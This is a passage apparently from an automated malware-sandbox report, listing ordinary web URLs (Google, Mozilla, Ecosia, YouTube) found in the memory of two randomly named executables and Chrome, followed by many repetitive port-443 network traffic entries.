Source: 44e053de15.exe, 00000007.00000003.2435982859.00000000056EF000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2436296917.00000000056DC000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2436448385.00000000056DC000.00000004.00000800.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000003.2644471328.00000000010EC000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2576139412.0000000005DDD000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2567168886.0000000005DDB000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2566978340.0000000005DF3000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2661210867.000039D402A1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 0000000C.00000002.2663053741.000039D402E1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 0000000C.00000002.2663053741.000039D402E1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 0000000C.00000002.2663053741.000039D402E1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch
Source: 932a9eb371.exe, 00000008.00000002.2797456590.0000000001092000.00000004.00000020.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000002.2824399610.0000000023673000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2628731548.0000000005DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: chrome.exe, 0000000C.00000002.2658631043.000039D4025EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: chrome.exe, 0000000C.00000002.2658631043.000039D4025EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: chrome.exe, 0000000C.00000003.2550134193.000039D402F24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 0000000C.00000002.2661210867.000039D402A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2662376623.000039D402CC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/Char
Source: chrome.exe, 0000000C.00000002.2663053741.000039D402E1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/ddljson?async=ntp:2
Source: chrome.exe, 0000000C.00000002.2655906954.000039D4023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/newtab_promos
Source: chrome.exe, 0000000C.00000003.2579362478.000039D40360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
Source: chrome.exe, 0000000C.00000002.2661394383.000039D402A68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2655906954.000039D4023C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2661860850.000039D402B94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2664692795.000039D402FB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/
Source: chrome.exe, 0000000C.00000002.2661394383.000039D402A68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2655906954.000039D4023C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2661860850.000039D402B94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/gs
Source: chrome.exe, 0000000C.00000002.2664692795.000039D402FB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/gs9
Source: 44e053de15.exe, 00000007.00000003.2435982859.00000000056EF000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2436296917.00000000056DC000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2436448385.00000000056DC000.00000004.00000800.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000003.2644471328.00000000010EC000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2567168886.0000000005DDB000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2566978340.0000000005DF3000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2660526749.000039D402920000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2659072574.000039D4026FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2659462334.000039D4027B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 0000000C.00000003.2579362478.000039D40360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 0000000C.00000003.2554788694.000039D40340C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 0000000C.00000002.2658949327.000039D4026C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submit
Source: chrome.exe, 0000000C.00000002.2658949327.000039D4026C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submit9
Source: chrome.exe, 0000000C.00000002.2662293552.000039D402C74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/undo
Source: chrome.exe, 0000000C.00000002.2647939034.000039D40221C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/
Source: chrome.exe, 0000000C.00000003.2579362478.000039D40360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chrome.exe, 0000000C.00000003.2585594115.000039D4038A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2585501431.000039D4038A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2585408286.000039D403898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2585446041.000039D40389C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager
Source: chrome.exe, 0000000C.00000003.2579362478.000039D40360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager2
Source: chrome.exe, 0000000C.00000003.2579362478.000039D40360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 0000000C.00000002.2655993650.000039D40240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v1/userinfo
Source: chrome.exe, 0000000C.00000002.2655993650.000039D40240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v2/tokeninfo
Source: chrome.exe, 0000000C.00000002.2655993650.000039D40240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v4/token
Source: chrome.exe, 0000000C.00000002.2655993650.000039D40240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/reauth/v1beta/users/
Source: chrome.exe, 0000000C.00000002.2658631043.000039D4025EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: chrome.exe, 0000000C.00000002.2658631043.000039D4025EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: chrome.exe, 0000000C.00000002.2658949327.000039D4026C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/2017/03/translate_ranker_
Source: 932a9eb371.exe, 00000008.00000002.2787161669.0000000000144000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: 44e053de15.exe, 0000000B.00000003.2607374925.0000000005EEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: 932a9eb371.exe, 00000008.00000002.2787161669.0000000000144000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: 44e053de15.exe, 0000000B.00000003.2607374925.0000000005EEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: 932a9eb371.exe, 00000008.00000002.2787161669.0000000000144000.00000040.00000001.01000000.0000000A.sdmp, 932a9eb371.exe, 00000008.00000002.2787161669.0000000000116000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: 932a9eb371.exe, 00000008.00000002.2787161669.0000000000116000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/-
Source: 44e053de15.exe, 00000007.00000003.2471096999.00000000059DF000.00000004.00000800.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000003.2726835570.00000000238B6000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2607374925.0000000005EEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 44e053de15.exe, 0000000B.00000003.2607374925.0000000005EEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 932a9eb371.exe, 00000008.00000002.2787161669.0000000000144000.00000040.00000001.01000000.0000000A.sdmp, 932a9eb371.exe, 00000008.00000002.2787161669.0000000000116000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: 932a9eb371.exe, 00000008.00000002.2787161669.0000000000116000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/d=enterpk2016&ui=en-us&rs=en-us&ad=us
Source: 44e053de15.exe, 00000007.00000003.2471096999.00000000059DF000.00000004.00000800.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000003.2726835570.00000000238B6000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2607374925.0000000005EEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: 932a9eb371.exe, 00000008.00000002.2787161669.0000000000116000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/vRm9ybXxwbmxjY21vamNtZW9obHBnZ21mbmJiaWFwa21ibGlvYnwxfDB8MHx
Source: chrome.exe, 0000000C.00000002.2660210976.000039D402914000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/:
Source: chrome.exe, 0000000C.00000002.2660210976.000039D402914000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: chrome.exe, 0000000C.00000002.2660210976.000039D402914000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J
Source: chrome.exe, 0000000C.00000002.2656529617.000039D4024D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2660210976.000039D402914000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
